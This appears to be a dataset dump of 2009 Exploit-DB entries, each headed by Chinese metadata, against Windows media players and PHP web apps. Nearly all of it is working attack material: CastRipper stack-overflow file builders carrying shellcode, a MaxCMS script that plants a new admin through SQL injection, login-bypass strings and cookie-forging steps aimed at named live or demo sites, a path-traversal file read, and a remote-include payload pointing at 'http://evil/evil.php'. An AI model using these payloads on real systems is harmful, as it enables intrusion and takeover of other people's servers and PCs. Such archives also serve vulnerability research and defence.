QLWD/code_shield huggingface dataset:
标题: DigiMode Maya 1.0.2 - '.m3u' / '.m3l' Buffer Overflow (PoC) EDB-ID: 8677 CVE: 2009-1817 类型: DOS 平台: WINDOWS 发布日期: 2009-05-14 漏洞利用脚本: #####################################################################################################
#                    DigiMode Maya 1.0.2 (.M3U File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

#####################################################################################################
#                    DigiMode Maya 1.0.2 (.M3L File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.m3l";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

# milw0rm.com [2009-05-14] URL: https://www.exploit-db.com/exploits/8677
标题: Ascad Networks 5 - Products Insecure Cookie Handling EDB-ID: 8675 CVE: 2009-2003 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-14 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...FROM IRAN

==============================================================================
 Ascad Networks 5 Products Insecure Cookie Handling Vulnerability
==============================================================================

 [Â»] Script:.............[ Ascad Networks Scripts ]....................
 [Â»] Website:............[ http://www.ascadnetworks.com ]..............
 [Â»] Today:..............[ 1305009 ]...................................
 [Â»] Founder:............[ G4N0K | mail[.]ganok[sh!t]gmail.com ].......


 
  [+] c7 Portal <= v1.1.0
 ===============================
 
 Live...: http://hatcocorporation.com/c7/

        [0] javascript:document.cookie = "c7portal=admin";
  [1] now navigate to: http://hatcocorporation.com/c7/home/
            esle, you will fall into a loop ;)...

        [1] d0rk: intitle:"c7 Portal by Ascad Networks"

 


  [+] Password Protector SD v2 (ppSD2)
 ===============================
 
 Live...: http://ppsd2008.passwordprotectorsd.com/ppSD2/admin/

        [0] javascript:document.cookie = "c7portal=admin";





  [+] Form Processor Gold
 ===============================
 
 Live...: http://www.ascadnetworks.com/cgi-bin/demos/fp_gold/admin.pl

        [0] javascript:document.cookie = "FormProGold=in";





  [+] Guestbook Creator v1.5
 ===============================
 
 Live...: http://www.ascadnetworks.com/cgi-bin/demos/gb/admin.pl

        [0] javascript:document.cookie = "ascadnetworks_gbook_admin=in";





  [+] Mini Forum v1.0.1
 ===============================
 
 Live...: http://www.ascadnetworks.com/cgi-bin/demos/mf/admin.pl

        [0] javascript:document.cookie = "admf=admin";




  [+] Greetz
 ===================================
 [Â»] ALLAH
 [Â»] MSD, AMD, AFN, SMN...
 [Â»] Hussain-X, JiKo, Sakab(!)...

# milw0rm.com [2009-05-14] URL: https://www.exploit-db.com/exploits/8675
标题: My Game Script 2.0 - Authentication Bypass EDB-ID: 8676 CVE: 2009-1816 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-14 漏洞利用脚本: ---------------------------------------------------------------
------------------------------------------------------------
My Game Script V2.0 (Auth Bypass) SQL Injection Vulnerability 
---------------------------------------------------------------
Founder : ThE g0bL!N
Vendor:mygamescript.com
---------------------------------------------------------------
---------------------------------------------------------------
SQL Injection Vulnerability 
-------------------------
Exploit:
-------
http://victim/admin.php
username:[admin_name]' or '1=1
password: No Thing

--------------------------------------
Dem0
---
http://demo1.mygamescript.com/admin.php
Exploit F0r Demo
----------------
username:admin' or '1=1
password: No Thing
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-14] URL: https://www.exploit-db.com/exploits/8676
标题: TinyButStrong 3.4.0 - 'script' Local File Disclosure EDB-ID: 8667 CVE: 2009-1653 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-13 漏洞利用脚本: (  ' )-.          ,~'`-.
                                       ,~' `  ' ) )       _(   _) )
                                      ( ( .--.===.--.    (  `    ' )
                                       `.%%.      .#`.   `-'`~~=~'
                                       /%%/         \##\
                                      |%%/  local    \##|
                                      |%%|           |##|.,-.
                                      \%%|  file     |##/    )_
                                       \%\           /#/ ( `'  )
                                        \%\ include /#/(  ,  -'`-.
                                    ,~-. `%\       /#'(  (     ') )
                                   (  ) )_ `\__|__/'   `~-~=--~~='
                                  ( ` ')  ) [-=-=-]
                                 (_(_.~~~'   \|_|/ 
                                             [***]
                              \|||/
                              (o o) 
-=-=-=-==-=-=-=-=-=-=-=+-oooO--(_)-------+-=-=-=-=-=-=-   
                       |                 |    
                       |                 |                                      

script:TinyButStrong version 3.4.0
-------------------------------------------------
Author: ahmadbady 
email: kivi_hacker666@yahoo.com
my site:Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-====-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.tinybutstrong.com/download/download.php?file=tbs_us.zip&sid=2

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=--=-=--=
vul:/examples/tbs_us_examples_0view.php

<?php
if (!isset($_GET)) $_GET=&$HTTP_GET_VARS ;
show_source('tbs_us_examples_'.$_GET['script']) ;
exit ;
?>

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-
xpl:

path/examples/tbs_us_examples_0view.php?script=../../../../boot.ini

path/examples/tbs_us_examples_0view.php?script=[local_file]
-=-=-=-=-=-=-=-=-=-=-=-+------------Ooo--+-=-=-=-=-=-=-=-=-=-=-=-=-        
                            |__|__|
                             || ||
                             OoO OoO

# milw0rm.com [2009-05-13] URL: https://www.exploit-db.com/exploits/8667
标题: Password Protector SD 1.3.1 - Insecure Cookie Handling EDB-ID: 8668 CVE: 2009-2003 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-13 漏洞利用脚本: =======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script : Password Protector SD v1.3.1 Insecure Cookie Handling Vulnerability

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
--------
step 1 [add]: javascript:document.cookie="c7portal=admin;path=/";

step 2 [add]: javascript:document.cookie="cookname=admin;path=/";

step 3 [to login] : http://localhost/cgi-bin/ppSD/admin.pl?L=home


in control panel : 

http://www.passwordprotectorsd.com/cgi-bin/ppSD/admin.pl?L=home


demo:
-----
http://www.passwordprotectorsd.com/cgi-bin/c7/admin.pl

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
ThE g0bL!N - spyboy - red virus - virus_hima - Red-D3v1L
Cyb3r-DeViL- OXIDE

all my Friends

# milw0rm.com [2009-05-13] URL: https://www.exploit-db.com/exploits/8668
标题: MaxCMS 2.0 - 'm_username' Arbitrary Create Admin EDB-ID: 8672 CVE: 2009-1818 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-13 漏洞利用脚本: <?php
print_r('
+---------------------------------------------------------------------------+
maxcms2.0 creat new admin exploit
by Securitylab.ir
+---------------------------------------------------------------------------+
');

if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to maxcms
Example:
php '.$argv[0].' localhost /maxcms2/ 
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$name = rand(1,10000);
$cmd = 'm_username=securitylab'.$name.'&m_pwd=securitylab&m_pwd2=securitylab&m_level=0';

$resp = send($cmd);
if (!eregi('alert',$resp)) {echo"[~]bad!,exploit failed";exit;}

print_r('
+---------------------------------------------------------------------------+
[+]cool,exploit seccuss
[+]you have add a new adminuser securitylab'.$name.'/securitylab
+---------------------------------------------------------------------------+
');


function send($cmd)
{
    global $host, $path;
    $message = "POST ".$path."admin/admin_manager.asp?action=add HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: securitylab\r\n";
    $message .= "X-Forwarded-For:1.1.1.1\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Cookie: m_username=securitylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checksecuritylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=cf144fd7a325d1088456838f524ae9d7\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    echo $message;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
    $resp .= fread($fp, 1024);
    echo $resp;
    return $resp;
}
?>

# milw0rm.com [2009-05-13] URL: https://www.exploit-db.com/exploits/8672
标题: CastRipper 2.50.70 - '.m3u' Local Buffer Overflow EDB-ID: 8660 CVE: 2009-1667 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-12 漏洞利用脚本: #!/usr/bin/perl
#[+]--------------------------------------------------------------------------------------[+]#
# CastRipper 2.50.70 (.m3u) Local buffer Overflow Exploit
# By [0]x80->[H]4xÂ²0r
# hashteck[at]Gmail[dot]com
# From Morocco
#[+]--------------------------------------------------------------------------------------[+]#
# program : CastRipper
# version : 2.50.70
# download : http://www.mini-stream.net/castripper/
#[+]--------------------------------------------------------------------------------------[+]#
# Tested Under Win$hit Vista Pro
# After launching the sploit just drag&drop the .m3u file in the Ripper , Enjoy ;)#
# NOTE : if you want to use it under an other version of Win32 use jmpfind.exe 
#( avalaible on the net) to find a matching address with which you'll overwrite your EIP .
#[+]--------------------------------------------------------------------------------------[+]#
##################################### Proud to be Moroccan ###################################


$junk="\x41" x 17379;
$eip="\xF8\x03\xB1\x76"; # 0x76B103F8 jmp ESP - Kernel32.dll
$nops="\x46" x 10;
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
$shell =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88".
"\xd3\x37\xcc\x83\xeb\xfc\xe2\xf4\x74\x3b\x73\xcc\x88\xd3\xbc\x89".
"\xb4\x58\x4b\xc9\xf0\xd2\xd8\x47\xc7\xcb\xbc\x93\xa8\xd2\xdc\x85".
"\x03\xe7\xbc\xcd\x66\xe2\xf7\x55\x24\x57\xf7\xb8\x8f\x12\xfd\xc1".
"\x89\x11\xdc\x38\xb3\x87\x13\xc8\xfd\x36\xbc\x93\xac\xd2\xdc\xaa".
"\x03\xdf\x7c\x47\xd7\xcf\x36\x27\x03\xcf\xbc\xcd\x63\x5a\x6b\xe8".
"\x8c\x10\x06\x0c\xec\x58\x77\xfc\x0d\x13\x4f\xc0\x03\x93\x3b\x47".
"\xf8\xcf\x9a\x47\xe0\xdb\xdc\xc5\x03\x53\x87\xcc\x88\xd3\xbc\xa4".
"\xb4\x8c\x06\x3a\xe8\x85\xbe\x34\x0b\x13\x4c\x9c\xe0\x23\xbd\xc8".
"\xd7\xbb\xaf\x32\x02\xdd\x60\x33\x6f\xb0\x56\xa0\xeb\xd3\x37\xcc";

# | --------------Junk-------------|-EIP-|----Nops----|-----------Shellcode----------|
open(m3u,">>Exploit.m3u");
print m3u $junk.$eip.$nops.$shell;
print "[+] Done !! [+]";
close(m3u);

# milw0rm.com [2009-05-12] URL: https://www.exploit-db.com/exploits/8660
标题: CastRipper 2.50.70 - '.m3u' Universal Stack Overflow EDB-ID: 8662 CVE: 2009-1667 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-12 漏洞利用脚本: #!/usr/bin/python
print "**************************************************************************"
print " CastRipper 2.50.70 (.m3u) Universal Stack Overflow Exploit\n"
print " Refer: http://www.milw0rm.com/exploits/8660\n"
print " Exploit code: super-cristal\n"
print " Tested on: Windows XP Pro SP3\n"
print " Greetings to:"
print " His0k4, all friends & muslims HaCkers(dz),snakespc.com\n"
print "**************************************************************************"
     

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x45\x44\x4e\x53\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x53\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x38"
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x31\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x50\x4b\x38\x42\x57\x4e\x31\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x46\x4e\x53\x4f\x35\x41\x43"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x55\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x58\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")

buff =  "\x41" * 17367
buff += "\x7D\xBC\x01\x10" # universal jmp esp
buff += "\x90"*20
buff += shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(buff)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-05-12] URL: https://www.exploit-db.com/exploits/8662
标题: PHP recommend 1.3 - Authentication Bypass / Remote File Inclusion / Code Injection EDB-ID: 8658 CVE: 2009-1781 2009-1780 2009-1779 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-11 漏洞利用脚本: Php Recommend <=1.3 Authentication Bypass/Remote File Include/Code Injection Exploits


Author: scriptjunkie  scriptjunkie.1 {nospam} googlemail {nospam} com
Condition: RFI:  allow_url_fopen = On
code injection: magic_quotes_gpc = Off

Exploits:
Authentication Bypass:
change admin username and password:
vulnerable.com/admin.php?submit=submit&form_admin_user=USERNAME&form_admin_pass=PASSWORD

RFI:
vulnerable.com/admin.php?submit=submit&form_include_template=http://evil/evil.php

Code Injection:
vulnerable.com/admin.php?submit=submit&form_aula=';readfile('/etc/passwd');'


Vulnerable code in "admin.php":

if($submit){
$a = "'";
$b = "<";
$c = ">";
$d = "";
$content = "".$b."?php
// Php Recommmend
// Created By Frax.dk
// GNU Licens
// Please do not delete this text
$".$d."page = '".$form_page."';
$".$d."include_template = '".$form_include_template."';
$".$d."cap = '".$form_cap."';
$".$d."title = '".$form_title."';
$".$d."aula = '".$form_aula."';
$".$d."language = '".$form_language."';
$".$d."admin_user = '".$form_admin_user."';
$".$d."admin_pass = '".$form_admin_pass."';

// -- Maincore -- //

include $".$d."include_template;
?".$c."";

$file_name = "phpre_config.php";
$file = $file_name;
$create_file = fopen($file, "w+");

if(!$create_file){die("<td><span style='color:red;'><? echo $error1; ?></span></td>\n");}

//attempt to write basic content to the file
if (fwrite($create_file, $content) === FALSE) {
echo "<td><span style='color:red;'><? echo $error2; ?></span></td>\n";
}else{echo "Succes";}
fclose($create_file);


which is reached since the authentication in server.php:
if($user == $admin_user && $admin_pass == $pass){
$error = "false";
}else{
setcookie("phpre_user", "", time()-3600);
setcookie("phpre_pass", "", time()-3600);
$error = "true";
}

is not checked sufficiently.

# milw0rm.com [2009-05-11] URL: https://www.exploit-db.com/exploits/8658
标题: CastRipper 2.50.70 - '.pls' Universal Stack Overflow EDB-ID: 8663 CVE: 2009-5137 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-12 漏洞利用脚本: #!/usr/bin/perl
# CastRipper 2.50.70 (.pls) Universal Stack Overflow Exploit
# Exploited By : zAx
# ThE-zAx@HoTMaiL.CoM
print "CastRipper 2.50.70 (.pls) Universal Stack Overflow Exploit\n";
print "Exploited By : zAx";
print "Contact at : ThE-zAx@HoTMaiL.CoM";
$header = "[playlist]\x0ANumberOfEntries=1\x0AFile1=http://";
$junk = "\x41" x 26369;
$eip="\x7D\xBC\x01\x10"; # Universal
$nopsled = "\x90" x 10;
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88".
"\xd3\x37\xcc\x83\xeb\xfc\xe2\xf4\x74\x3b\x73\xcc\x88\xd3\xbc\x89".
"\xb4\x58\x4b\xc9\xf0\xd2\xd8\x47\xc7\xcb\xbc\x93\xa8\xd2\xdc\x85".
"\x03\xe7\xbc\xcd\x66\xe2\xf7\x55\x24\x57\xf7\xb8\x8f\x12\xfd\xc1".
"\x89\x11\xdc\x38\xb3\x87\x13\xc8\xfd\x36\xbc\x93\xac\xd2\xdc\xaa".
"\x03\xdf\x7c\x47\xd7\xcf\x36\x27\x03\xcf\xbc\xcd\x63\x5a\x6b\xe8".
"\x8c\x10\x06\x0c\xec\x58\x77\xfc\x0d\x13\x4f\xc0\x03\x93\x3b\x47".
"\xf8\xcf\x9a\x47\xe0\xdb\xdc\xc5\x03\x53\x87\xcc\x88\xd3\xbc\xa4".
"\xb4\x8c\x06\x3a\xe8\x85\xbe\x34\x0b\x13\x4c\x9c\xe0\x23\xbd\xc8".
"\xd7\xbb\xaf\x32\x02\xdd\x60\x33\x6f\xb0\x56\xa0\xeb\xd3\x37\xcc";
open(zax,">>zAx.pls");
print zax $header.$junk.$eip.$nopsled.$shellcode;
print "[+] Done !! [+]";
close(zax);

# milw0rm.com [2009-05-12] URL: https://www.exploit-db.com/exploits/8663
标题: CastRipper 2.50.70 - '.m3u' Universal Stack Overflow EDB-ID: 8661 CVE: 2009-1667 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-12 漏洞利用脚本: #!/usr/bin/perl
# CastRipper 2.50.70 (.m3u) Universal Stack Overflow Exploit
# Exploited By Stack
# first exploiter :d http://www.milw0rm.com/exploits/8660 bien jouer :d frero
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $Bof="\x41" x 26328;
my $ret="\x7D\xBC\x01\x10"; # Universall Ret Adress jmp esp 1001BC7D
 # Executable modules, item 6
 # Base=10000000
 # Size=0006F000 (454656.)
 # Entry=10023AAC CRutilit.<ModuleEntryPoint>
 # Name=CRutilit
 # Path=C:\Program Files\CastRipper\CRutility03.dll
my $nop="\x90" x 20;
open(MYFILE,'>>sploit.m3u');
print MYFILE $Bof.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-05-12] URL: https://www.exploit-db.com/exploits/8661
标题: Realty Web-Base 1.0 - Authentication Bypass EDB-ID: 8643 CVE: 2009-1658 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-08 漏洞利用脚本: ---------------------------------------------------------------
------------------------------------------------------------
Realty Web-Base v1.0 (Auth bypass) SQL Injection Vulnerability       
---------------------------------------------------------------

Founder : ThE g0bL!N
Home:WwW.h4ckF0u.CoM
Vendor:http://www.realtywebware.com
---------------------------------------------------------------
---------------------------------------------------------------

Simple Customer 1.3 SQL Injection Vulnerability
------------------------------------------------
username :' or '1=1

Password: ' or '1=1
         Or
username:[admin_name]' or '1=1


password: Nothing
--------------------------------------
Dem0
----
http://www.realtywebware.com/demo/admin/

--------------------------------------

Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-08] URL: https://www.exploit-db.com/exploits/8643